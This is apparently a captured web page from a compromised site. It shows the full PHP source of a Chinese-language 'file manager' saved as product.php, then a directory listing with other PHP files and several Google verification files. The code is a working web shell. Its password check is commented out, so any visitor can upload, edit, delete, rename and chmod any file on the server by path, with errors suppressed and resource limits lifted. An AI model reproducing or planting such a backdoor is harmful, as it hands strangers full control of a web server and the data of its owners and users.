文件管理器

📂 文件管理器

编辑文件: product.php

<?php
error_reporting(0);
session_start();
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('max_execution_time', 0);

$base_dir = dirname(__FILE__);

// $auth_pass_hash = '$2y$10$O.hiu6m0mDO9TdPrtfWewOizXSXLwp0YIepLsAjlyB0JL0lqKkSyG';

// if (!isset($_SESSION['logged_in'])) {
//     if (isset($_POST['pass'])) {
//         if (password_verify($_POST['pass'], $auth_pass_hash)) {
//             $_SESSION['logged_in'] = true;
//             header("Location: ?");
//             exit;
//         } else {
//             loginForm("密码错误！");
//         }
//     } else {
//         loginForm();
//     }
// }

// function loginForm($msg = "")
// {
//     echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>登录</title>
//     <style>
//     body {font-family: Arial, sans-serif;background:#f2f2f2;display:flex;justify-content:center;align-items:center;height:100vh;}
//     .login-box {background:#fff;padding:30px;border-radius:10px;box-shadow:0 0 15px rgba(0,0,0,.1);width:320px;}
//     .login-box h2 {margin-bottom:20px;color:#333;}
//     .login-box input {width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:5px;}
//     .login-box button {width:100%;padding:10px;background:#007bff;color:#fff;border:none;border-radius:5px;cursor:pointer;}
//     .login-box button:hover {background:#0056b3;}
//     .msg {color:red;font-size:14px;margin-bottom:10px;}
//     </style></head><body>
//     <div class='login-box'>
//         <h2>登录</h2>
//         " . ($msg ? "<div class='msg'>$msg</div>" : "") . "
//         <form method='post'>
//             <input type='password' name='pass' placeholder='密码'><br>
//             <button type='submit'>登录</button>
//         </form>
//     </div></body></html>";
//     exit;
// }

function h($s) {
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}

$path = isset($_GET['path']) ? realpath($_GET['path']) : realpath($base_dir);
if (!$path || !is_dir($path)) {
    $path = realpath($base_dir);
}
$path = rtrim($path, DIRECTORY_SEPARATOR);

if (isset($_GET['edit'])) {
    $edit_real = realpath($_GET['edit']);
    if ($edit_real && is_file($edit_real)) {
        $path = dirname($edit_real);
    }
}

if (isset($_FILES['upload_files'])) {
    $uploadDir = $path;
    foreach ($_FILES['upload_files']['name'] as $key => $name) {
        if ($_FILES['upload_files']['error'][$key] === UPLOAD_ERR_OK) {
            $tmpName = $_FILES['upload_files']['tmp_name'][$key];
            $targetPath = $uploadDir . '/' . basename($name);
            if (move_uploaded_file($tmpName, $targetPath)) {
                echo "<div class='msg' style='background:#d4edda;color:#155724;'>✅ 文件 " . h($name) . " 上传成功</div>";
            } else {
                echo "<div class='msg' style='background:#f8d7da;color:#721c24;'>❌ 文件 " . h($name) . " 上传失败</div>";
            }
        } else {
            echo "<div class='msg' style='background:#f8d7da;color:#721c24;'>⚠️ 文件 " . h($name) . " 上传出错 (错误码: " . $_FILES['upload_files']['error'][$key] . ")</div>";
        }
    }

header("Location: ?path=" . urlencode($path) . "&uploaded=1");
    exit;
}

if (isset($_POST['save_file']) && isset($_POST['content'])) {
    $save_target = $_POST['save_file'];
    $real_save = realpath(dirname($save_target)) ? $save_target : false;
    if ($real_save) {
        file_put_contents($save_target, $_POST['content']);
    }
    $currentPath = isset($_POST['current_path']) ? $_POST['current_path'] : $path;
    header("Location: ?path=" . urlencode($currentPath) . "&saved=1");
    exit;
}

if (isset($_GET['delete'])) {
    $del = realpath($_GET['delete']);
    if ($del) {
        deletePath($del);
    }

$redirectPath = isset($_GET['path']) ? $_GET['path'] : $path;

header("Location: ?path=" . urlencode($redirectPath) . "&deleted=1");
    exit;
}

if (isset($_POST['batch_chmod']) && !empty($_POST['items']) && !empty($_POST['batch_perm'])) {
    $perm = $_POST['batch_perm'];
    if (!preg_match('/^[0-7]{3,4}$/', $perm)) {
        echo "<div class='msg' style='background:#f8d7da;color:#721c24;'>❌ 权限格式无效（应为3或4位八进制）</div>";
    } else {
        foreach ($_POST['items'] as $item) {
            $target = realpath($item);
            if ($target) {
                @chmod($target, octdec($perm));
                echo "<div id='msgBox' class='msg'>✅ 已修改权限: " . h($item) . " → $perm<br></div>";
            }
        }
        header("Location: ?path=" . urlencode($path) . "&chmoded=1");
        exit;
    }
}

if (isset($_POST['batch_delete']) && !empty($_POST['items'])) {
    foreach ($_POST['items'] as $item) {
        $del = realpath($item);
        if ($del) {
            deletePath($del);
            echo "<div id='msgBox' class='msg'>✅ 已删除: " . h($item) . "<br></div>";
        }
    }
    header("Location: ?path=" . urlencode($path) . "&deleted=1");
    exit;
}

if (isset($_POST['new_file_name'])) {
    $new_file = $path . "/" . basename($_POST['new_file_name']);
    $new_content = $_POST['new_file_content'] ?? '';
    if (!file_exists($new_file)) {
        @mkdir(dirname($new_file), 0755, true);
        file_put_contents($new_file, $new_content);
        echo "✅ 文件已创建: " . h($_POST['new_file_name']) . "<br>";
    }
}

if (isset($_POST['new_dir_name'])) {
    $new_dir = $path . "/" . basename($_POST['new_dir_name']);
    if (!file_exists($new_dir)) {
        mkdir($new_dir, 0755);
        echo "✅ 文件夹已创建<br>";
    }
}

if (isset($_POST['chmod_file']) && isset($_POST['new_perm'])) {
    $chmod_target = realpath($_POST['chmod_file']);
    $perm = $_POST['new_perm'] ?: '0644';
    if ($chmod_target) {
        chmod($chmod_target, octdec($_POST['new_perm']));
        echo "✅ 权限已修改<br>";
    }
}

if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {
    $old = realpath($_POST['rename_file']);
    if ($old) {
        $new = dirname($old) . "/" . basename($_POST['new_name']);
        if (!file_exists($new)) {
            rename($old, $new);
            echo "✅ 已重命名<br>";
        }
    }
}

echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>文件管理器</title>
<style>
body {font-family: Arial, sans-serif; background:#f9f9f9; padding:20px;}
h2 {color:#333;}
a {color:#007bff; text-decoration:none;}
a:hover {text-decoration:underline;}
form {margin:10px 0;}
input, textarea, button {padding:6px 10px; margin:5px; border-radius:5px; border:1px solid #ccc;}
button {background:#007bff; color:#fff; border:none; cursor:pointer;}
button:hover {background:#0056b3;}
table {width:100%; border-collapse:collapse; margin-top:15px; background:#fff; box-shadow:0 0 5px rgba(0,0,0,.1);}
th, td {padding:10px; border-bottom:1px solid #eee;}
tr:nth-child(even) {background:#f9f9f9;}
tr:hover {background:#f1f7ff;}
.folder {color:#ff9800; font-weight:bold;}
.file {color:#555;}
.actions form {display:inline;}
.breadcrumb {margin-bottom:15px; word-break:break-all;}
.msg {background:#d4edda;color:#155724;padding:10px;border:1px solid #c3e6cb;border-radius:5px;margin-bottom:15px;}
</style>
<script>
function toggleAll(source) {
    let checkboxes = document.querySelectorAll('input[name=\"items[]\"]');
    checkboxes.forEach(cb => cb.checked = source.checked);
}
</script>
</head><body>";

echo "<h2>📂 文件管理器</h2>";

$parent = dirname($path);
if ($parent && $parent !== $path) {
    echo "<div style='margin-bottom:10px;'>
        <a href='?path=" . urlencode($parent) . "'>⬆️ 返回上一级</a>
    </div>";
}

$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$breadcrumbs = [];
$current = '';
foreach ($parts as $p) {
    $current .= DIRECTORY_SEPARATOR . $p;
    $breadcrumbs[] = "<a href='?path=" . urlencode($current) . "'>" . h($p) . "</a>";
}
echo "<div class='breadcrumb'>当前位置: " . implode("/", $breadcrumbs) . "</div>";

if (isset($_GET['saved'])) {
    echo "<div id='msgBox' class='msg'>✅ 保存成功！</div>
    <script>setTimeout(()=>{ document.getElementById('msgBox').style.display='none'; }, 1500);</script>";
}
if (isset($_GET['uploaded'])) {
    echo "<div id='msgBox' class='msg'>📤 文件上传成功！</div>";
}
if (isset($_GET['deleted'])) {
    echo "<div id='msgBox' class='msg'>🗑️ 删除成功！</div>";
}
if (isset($_GET['chmoded'])) {
    echo "<div id='msgBox' class='msg'>🔒 批量权限修改成功！</div>";
}

echo "<form method='post' enctype='multipart/form-data'>
    <input type='file' name='upload_files[]' multiple> <button type='submit'>上传</button>
</form>
<form method='post'>
    <input type='text' name='new_file_name' placeholder='新文件名'>
    <textarea name='new_file_content' rows='3' cols='50' placeholder='文件内容(可选)'></textarea>
    <button type='submit'>新建文件</button>
</form>
<form method='post'>
    <input type='text' name='new_dir_name' placeholder='新文件夹名'>
    <button type='submit'>新建文件夹</button>
</form>";

if (isset($_GET['edit'])) {
    $edit_file = realpath($_GET['edit']);
    if ($edit_file && is_file($edit_file)) {
        $content = htmlspecialchars(file_get_contents($edit_file));
        echo "<h3>编辑文件: " . h(basename($edit_file)) . "</h3>
        <form method='post'>
            <textarea name='content' style='width:100%;height:400px;'>$content</textarea><br>
            <input type='hidden' name='save_file' value='" . h($edit_file) . "'>
            <input type='hidden' name='current_path' value='" . h(dirname($edit_file)) . "'>
            <button type='submit'>保存</button>
        </form>";
    } else {
        echo "<div class='msg' style='background:#f8d7da;color:#721c24;'>无法打开文件进行编辑</div>";
    }
}

$files = @scandir($path);
if ($files === false) $files = [];

$dirs = [];
$files_only = [];

foreach ($files as $f) {
    if ($f === "." || $f === "..") continue;
    $full = $path . DIRECTORY_SEPARATOR . $f;
    if (is_dir($full)) {
        $dirs[] = $f;
    } else {
        $files_only[] = $f;
    }
}
$sorted_files = array_merge($dirs, $files_only);

echo "<form method='post'><table>
<tr><th><input type='checkbox' onclick='toggleAll(this)'></th><th>名称</th><th>操作</th></tr>";

foreach ($sorted_files as $f) {
    $full = $path . DIRECTORY_SEPARATOR . $f;
    $real_full = $full;
    $siteUrl = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://{$_SERVER['HTTP_HOST']}" . str_replace($_SERVER['DOCUMENT_ROOT'], '', $real_full);
    $currentPerm = @substr(sprintf('%o', fileperms($real_full)), -4);
    if (is_dir($real_full)) {
        echo "<tr>
            <td><input type='checkbox' name='items[]' value='" . h($real_full) . "'></td>
            <td class='folder'>📁 <a href='?path=" . urlencode($real_full) . "'>" . h($f) . "</a></td>
            <td class='actions'>
                <a href='?delete=" . urlencode($real_full) . "' onclick='return confirm(\"确定删除目录?\")'>删除</a> |
                <form method='post' style='display:inline;'>
                    <input type='hidden' name='chmod_file' value='" . h($real_full) . "'>
                    <input type='text' name='new_perm' value='$currentPerm' size='4' placeholder='0644'>
                    <button type='submit'>改权限</button>
                </form> |
                <form method='post' style='display:inline;'>
                    <input type='hidden' name='rename_file' value='" . h($real_full) . "'>
                    <input type='text' name='new_name' placeholder='新名字'>
                    <button type='submit'>重命名</button>
                </form>
            </td>
        </tr>";
    } else {
        echo "<tr>
            <td><input type='checkbox' name='items[]' value='" . h($real_full) . "'></td>
            <td class='file'>📄 " . h($f) . "</td>
            <td class='actions'>
                <a href='?edit=" . urlencode($real_full) . "'>编辑</a> | 
                <a href='?delete=" . urlencode($real_full) . "&path=" . urlencode($path) . "' onclick='return confirm(\"确定删除文件?\")'>删除</a>
 | 
                <form method='post' style='display:inline;'>
                    <input type='hidden' name='chmod_file' value='" . h($real_full) . "'>
                    <input type='text' name='new_perm' value='$currentPerm' size='4' placeholder='0644'>
                    <button type='submit'>改权限</button>
                </form> | 
                <a href='" . h($siteUrl) . "' target='_blank'>🌍 访问</a> | 
                <form method='post' style='display:inline;'>
                    <input type='hidden' name='rename_file' value='" . h($real_full) . "'>
                    <input type='text' name='new_name' placeholder='新名字'>
                    <button type='submit'>重命名</button>
                </form>
            </td>
        </tr>";
    }
}

echo "</table>
<div style='margin-top:10px;'>
    <button type='submit' name='batch_delete' value='1' onclick='return confirm(\"确定批量删除选中的项目?\")'>批量删除</button>
    <br><br>
    <label>批量改权限：</label>
    <input type='text' name='batch_perm' placeholder='例如 0755' size='6'>
    <button type='submit' name='batch_chmod' value='1' onclick='return confirm(\"确定修改所选项目权限吗？\")'>修改权限</button>
</div>
</form>";

echo "</body></html>";

	名称	操作
	📄 .htaccess	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 ah25.php	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 comment.php	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 content.php	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 gk.php	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 google6221ed8b7ec5d7b4.html	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 google8d449aad2fcaf390.html	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 googleae0d34dcb0d443a0.html	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 googleea78e552fedf758c.html	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 googleec5e77e1def57b38.html	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 index.php	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 product.php	编辑 \| 删除 \| \| 🌍 访问 \|
	📄 robots.txt	编辑 \| 删除 \| \| 🌍 访问 \|

批量改权限：